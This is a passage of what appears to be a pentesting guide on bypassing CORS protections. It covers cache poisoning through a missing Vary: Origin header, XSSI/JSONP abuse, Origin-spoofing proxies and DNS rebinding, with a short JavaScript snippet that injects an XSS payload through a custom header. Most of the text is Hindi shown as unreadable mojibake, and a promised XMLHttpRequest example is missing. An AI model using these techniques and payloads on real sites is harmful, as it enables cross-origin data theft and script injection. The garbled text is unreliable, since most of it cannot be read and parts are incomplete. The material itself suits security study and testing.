Cross-Origin Resource Sharing (CORS) рдиреАрддрд┐рдпрд╛рдБ рдХрд╕реНрдЯрдо рд╣реЗрдбрд░ рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, CORS рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЗ рдХрд╛рд░рдг рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реАрдзреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╕реНрддреБрдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдРрд╕реА рдЗрдВрдЬреЗрдХреНрд╢рди рдХреА рдЙрдкрдпреЛрдЧрд┐рддрд╛ рд╕реАрдорд┐рдд рд▓рдЧ рд╕рдХрддреА рд╣реИред рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд┐рдВрджреБ рддрдм рдЖрддрд╛ рд╣реИ рдЬрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдХреИрд╢ рд╡реНрдпрд╡рд╣рд╛рд░ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ Vary: Origin рд╣реЗрдбрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рджреНрд╡рд╛рд░рд╛ рдХреИрд╢ рдХрд┐рдпрд╛ рдЬрд╛рдПред рдЗрд╕рдХреЗ рдмрд╛рдж, рдпрд╣ рдХреИрд╢ рдХреА рдЧрдИ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реАрдзреЗ URL рдкрд░ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рддреЗ рд╕рдордп рдкреНрд░рд╕реНрддреБрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЕрдиреБрд░реЛрдз рдкрд░ рд╕реАрдзреЗ рдкреНрд░рд╕реНрддреБрдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рддреЗ рд╣реБрдПред рдпрд╣ рддрдВрддреНрд░ рд╣рдорд▓реЗ рдХреА рд╡рд┐рд╢реНрд╡рд╕рдиреАрдпрддрд╛ рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд╛рдЗрдб рдХреИрд╢рд┐рдВрдЧ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИред

To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the Vary: Origin header.

Here's a summarized breakdown of the JavaScript used to execute this attack:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, рдЬрд┐рд╕реЗ Cross-Site Script Inclusion рдХреЗ рдирд╛рдо рд╕реЗ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдкреНрд░рдХрд╛рд░ рдХреА рднреЗрджреНрдпрддрд╛ рд╣реИ рдЬреЛ рдЗрд╕ рддрдереНрдп рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреА рд╣реИ рдХрд┐ Same Origin Policy (SOP) рдХрд╛ рдкрд╛рд▓рди рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╡рд┐рднрд┐рдиреНрди рдбреЛрдореЗрди рд╕реЗ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рднреЗрджреНрдпрддрд╛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╢рд╛рдорд┐рд▓ рдХреА рдЧрдИ рдХрд┐рд╕реА рднреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдПрдХреНрд╕реЗрд╕ рдФрд░ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред

рдпрд╣ рднреЗрджреНрдпрддрд╛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛ рдЬрд╛рддреА рд╣реИ рдЬрдм рдпрд╣ рдЧрддрд┐рд╢реАрд▓ JavaScript рдпрд╛ JSONP (JSON with Padding) рдХреА рдмрд╛рдд рдЖрддреА рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдм рдСрдереЗрдВрдЯрд┐рдХреЗрд╢рди рдХреЗ рд▓рд┐рдП рдХреБрдХреАрдЬрд╝ рдЬреИрд╕реА рд╡рд╛рддрд╛рд╡рд░рдг-рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЬрдм рдХрд┐рд╕реА рдЕрд▓рдЧ рд╣реЛрд╕реНрдЯ рд╕реЗ рд╕рдВрд╕рд╛рдзрди рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдХреБрдХреАрдЬрд╝ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╡реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реЛ рдЬрд╛рддреА рд╣реИрдВред

рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдмреЗрд╣рддрд░ рдврдВрдЧ рд╕реЗ рд╕рдордЭрдиреЗ рдФрд░ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк https://github.com/kapytein/jsonp рдкрд░ рдЙрдкрд▓рдмреНрдз BurpSuite рдкреНрд▓рдЧрдЗрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдкреНрд▓рдЧрдЗрди рдЖрдкрдХреА рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд XSSI рднреЗрджреНрдпрддрд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рд╕рдорд╛рдзрд╛рди рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред

XSSI рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░реЛрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдХреИрд╕реЗ рд╢реЛрд╖рдг рдХрд░реЗрдВ, рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдкрдврд╝реЗрдВред

рдЕрдиреБрд░реЛрдз рдореЗрдВ рдПрдХ callback рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛрдбрд╝рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред рд╢рд╛рдпрдж рдкреГрд╖реНрда рдХреЛ JSONP рдХреЗ рд░реВрдк рдореЗрдВ рдбреЗрдЯрд╛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдкреГрд╖реНрда Content-Type: application/javascript рдХреЗ рд╕рд╛рде рдбреЗрдЯрд╛ рд╡рд╛рдкрд╕ рднреЗрдЬреЗрдЧрд╛, рдЬреЛ CORS рдиреАрддрд┐ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдЧрд╛ред

Easy (useless?) bypass

Access-Control-Allow-Origin рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕реЗ рдЖрдкрдХреЗ рдкрдХреНрд╖ рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рдП рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╡рд╛рдкрд╕ рднреЗрдЬреА рдЬрд╛рдПред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, рдЕрдВрддрд┐рдо рдкреАрдбрд╝рд┐рдд рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд╣реАрдВ рднреЗрдЬреЗ рдЬрд╛рдПрдВрдЧреЗ рдХреНрдпреЛрдВрдХрд┐ рдЕрдиреБрд░реЛрдз рдПрдХ рдЕрд▓рдЧ рдбреЛрдореЗрди рдкрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

  1. CORS-escape: рдпрд╣ рдЙрдкрдХрд░рдг рдПрдХ рдкреНрд░реЙрдХреНрд╕реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЖрдкрдХреЗ рдЕрдиреБрд░реЛрдз рдХреЛ рдЗрд╕рдХреЗ рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдЖрдЧреЗ рдмрдврд╝рд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдЕрдиреБрд░реЛрдзрд┐рдд рдбреЛрдореЗрди рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рдХреЗ рд▓рд┐рдП Origin рд╣реЗрдбрд░ рдХреЛ рднреА рд╕реНрдкреВрдл рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ CORS рдиреАрддрд┐ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИред рдпрд╣рд╛рдБ XMLHttpRequest рдХреЗ рд╕рд╛рде рдПрдХ рдЙрджрд╛рд╣рд░рдг рдЙрдкрдпреЛрдЧ рд╣реИ:
  2. simple-cors-escape: рдпрд╣ рдЙрдкрдХрд░рдг рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдкреНрд░реЙрдХреНрд╕реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЖрдкрдХреЗ рдЕрдиреБрд░реЛрдз рдХреЛ рдЬреИрд╕рд╛ рд╣реИ рд╡реИрд╕рд╛ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рд╕рд░реНрд╡рд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдЕрдкрдирд╛ рд╕реНрд╡рдпрдВ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред

Iframe + Popup Bypass

рдЖрдк CORS рдЬрд╛рдВрдЪреЛрдВ рдЬреИрд╕реЗ e.origin === window.origin рдХреЛ рдПрдХ iframe рдмрдирд╛рдХрд░ рдФрд░ рдЙрд╕рд╕реЗ рдПрдХ рдирдИ рд╡рд┐рдВрдбреЛ рдЦреЛрд▓рдХрд░ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдореЗрдВ рджреЗрдЦреЗрдВ:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

DNS Rebinding via TTL

TTL рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ DNS рд░реАрдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ DNS рд░рд┐рдХреЙрд░реНрдб рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ:

  1. рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╡реЗрдм рдкреГрд╖реНрда рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдкреАрдбрд╝рд┐рдд рдХреЛ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рддрд╛ рд╣реИред
  2. рдлрд┐рд░ рд╣рдорд▓рд╛рд╡рд░ рдЕрдкрдиреЗ рдбреЛрдореЗрди рдХрд╛ DNS (IP) рдмрджрд▓рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рдкреАрдбрд╝рд┐рдд рдХреЗ рд╡реЗрдм рдкреГрд╖реНрда рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗред
  3. рдкреАрдбрд╝рд┐рдд рдХрд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ DNS рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХреИрд╢ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ TTL (Time to Live) рдорд╛рди рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ DNS рд░рд┐рдХреЙрд░реНрдб рдХреЛ рдХрд┐рддрдиреА рджреЗрд░ рддрдХ рдорд╛рдиреНрдп рдорд╛рдирд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
  4. рдЬрдм TTL рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдкреАрдбрд╝рд┐рдд рдХрд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдПрдХ рдирдпрд╛ DNS рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдкреАрдбрд╝рд┐рдд рдХреЗ рдкреГрд╖реНрда рдкрд░ JavaScript рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред
  5. рдкреАрдбрд╝рд┐рдд рдХреЗ IP рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдмрдирд╛рдП рд░рдЦрдХрд░, рд╣рдорд▓рд╛рд╡рд░ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдХреБрдХреАрдЬрд╝ рдХреЛ рдкреАрдбрд╝рд┐рдд рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬреЗ рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдХреИрд╢рд┐рдВрдЧ рддрдВрддреНрд░ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рддрд╛рддреНрдХрд╛рд▓рд┐рдХ рджреБрд░реБрдкрдпреЛрдЧ рдХреЛ рд░реЛрдХ рд╕рдХрддреЗ рд╣реИрдВ, рднрд▓реЗ рд╣реА TTL рдорд╛рди рдХрдо рд╣реЛред

DNS рд░реАрдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдкреАрдбрд╝рд┐рдд рджреНрд╡рд╛рд░рд╛ рдХрд┐рдП рдЧрдП рд╕реНрдкрд╖реНрдЯ IP рдЬрд╛рдВрдЪреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╛ рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреА рд╣реИ рдЬрд╣рд╛рдВ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рдмреЙрдЯ рд▓рдВрдмреЗ рд╕рдордп рддрдХ рдПрдХ рд╣реА рдкреГрд╖реНрда рдкрд░ рд░рд╣рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХреИрд╢ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред

рдпрджрд┐ рдЖрдкрдХреЛ DNS рд░реАрдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддреНрд╡рд░рд┐рдд рддрд░реАрдХрд╛ рдЪрд╛рд╣рд┐рдП, рддреЛ рдЖрдк https://lock.cmpxchg8b.com/rebinder.html рдЬреИрд╕реА рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ DNS рд░реАрдмрд╛рдЗрдВрдбрд┐рдВрдЧ рд╕рд░реНрд╡рд░ рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк DNSrebinder (https://github.com/mogwailabs/DNSrebinder) рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдореЗрдВ рдЖрдкрдХреЗ рд╕реНрдерд╛рдиреАрдп рдкреЛрд░реНрдЯ 53/udp рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдирд╛, рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ A рд░рд┐рдХреЙрд░реНрдб рдмрдирд╛рдирд╛ (рдЬреИрд╕реЗ, ns.example.com), рдФрд░ рдкрд╣рд▓реЗ рдмрдирд╛рдП рдЧрдП A рдЙрдкрдбреЛрдореЗрди (рдЬреИрд╕реЗ, ns.example.com) рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ NS рд░рд┐рдХреЙрд░реНрдб рдмрдирд╛рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред ns.example.com рдЙрдкрдбреЛрдореЗрди рдХрд╛ рдХреЛрдИ рднреА рдЙрдкрдбреЛрдореЗрди рддрдм рдЖрдкрдХреЗ рд╣реЛрд╕реНрдЯ рджреНрд╡рд╛рд░рд╛ рд╣рд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдЖрдк рдЖрдЧреЗ рдХреА рд╕рдордЭ рдФрд░ рдкреНрд░рдпреЛрдЧ рдХреЗ рд▓рд┐рдП http://rebind.it/singularity.html рдкрд░ рдПрдХ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рд╕рд░реНрд╡рд░ рдХрд╛ рднреА рдЕрдиреНрд╡реЗрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

DNS Rebinding via DNS Cache Flooding

DNS рдХреИрд╢ рдмрд╛рдврд╝ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ DNS рд░реАрдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдПрдХ рдФрд░ рддрдХрдиреАрдХ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рдХреИрд╢рд┐рдВрдЧ рддрдВрддреНрд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдФрд░ рдПрдХ рджреВрд╕рд░рд╛ DNS рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ:

  1. рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ, рдЬрдм рдкреАрдбрд╝рд┐рдд рдПрдХ DNS рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ IP рдкрддреЗ рдХреЗ рд╕рд╛рде рдЙрддреНрддрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  2. рдХреИрд╢рд┐рдВрдЧ рд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИред рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ DNS рдХреИрд╢ рдХреЛ рдмрд╛рдврд╝ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдХреИрд╢ рдХрд┐рдП рдЧрдП рд╣рдорд▓рд╛рд╡рд░ рд╕рд░реНрд╡рд░ рдирд╛рдо рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИред
  3. рдЬрдм рдкреАрдбрд╝рд┐рдд рдХрд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдПрдХ рджреВрд╕рд░рд╛ DNS рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдЕрдм IP рдкрддреЗ 127.0.0.1 рдХреЗ рд╕рд╛рде рдЙрддреНрддрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЖрдорддреМрд░ рдкрд░ рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИред

рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдХреЗ рд╕рд╛рде DNS рдХреИрд╢ рдХреЛ рдмрд╛рдврд╝ рдХрд░рдХреЗ, рд╣рдорд▓рд╛рд╡рд░ DNS рд╕рдорд╛рдзрд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдкреАрдбрд╝рд┐рдд рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдПрдХ рджреВрд╕рд░рд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕ рдмрд╛рд░ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдЗрдЪреНрдЫрд┐рдд IP рдкрддреЗ рдкрд░ рд╣рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред

DNS Rebinding via Cache

рдХреИрд╢рд┐рдВрдЧ рд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ DNS рдкреНрд░рджрд╛рддрд╛ рдореЗрдВ рдПрдХ рд╣реА рдЙрдкрдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП рдХрдИ IP рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИред рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ:

  1. рд╣рдорд▓рд╛рд╡рд░ DNS рдкреНрд░рджрд╛рддрд╛ рдореЗрдВ рдПрдХ рд╣реА рдЙрдкрдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП рджреЛ A рд░рд┐рдХреЙрд░реНрдб (рдпрд╛ рджреЛ IPs рдХреЗ рд╕рд╛рде рдПрдХ A рд░рд┐рдХреЙрд░реНрдб) рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред
  2. рдЬрдм рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЗрди рд░рд┐рдХреЙрд░реНрдбреНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рджреЛрдиреЛрдВ IP рдкрддреЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред
  3. рдпрджрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдкрд╣рд▓реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ IP рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓реЗрддрд╛ рд╣реИ, рддреЛ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдкреЗрд▓реЛрдб рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЙрд╕реА рдбреЛрдореЗрди рдкрд░ HTTP рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред
  4. рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рдмрд╛рд░ рдЬрдм рд╣рдорд▓рд╛рд╡рд░ рдкреАрдбрд╝рд┐рдд рдХреЗ IP рдкрддреЗ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реЗрддрд╛ рд╣реИ, рддреЛ рд╡реЗ рдкреАрдбрд╝рд┐рдд рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдЙрддреНрддрд░ рджреЗрдирд╛ рдмрдВрдж рдХрд░ рджреЗрддреЗ рд╣реИрдВред
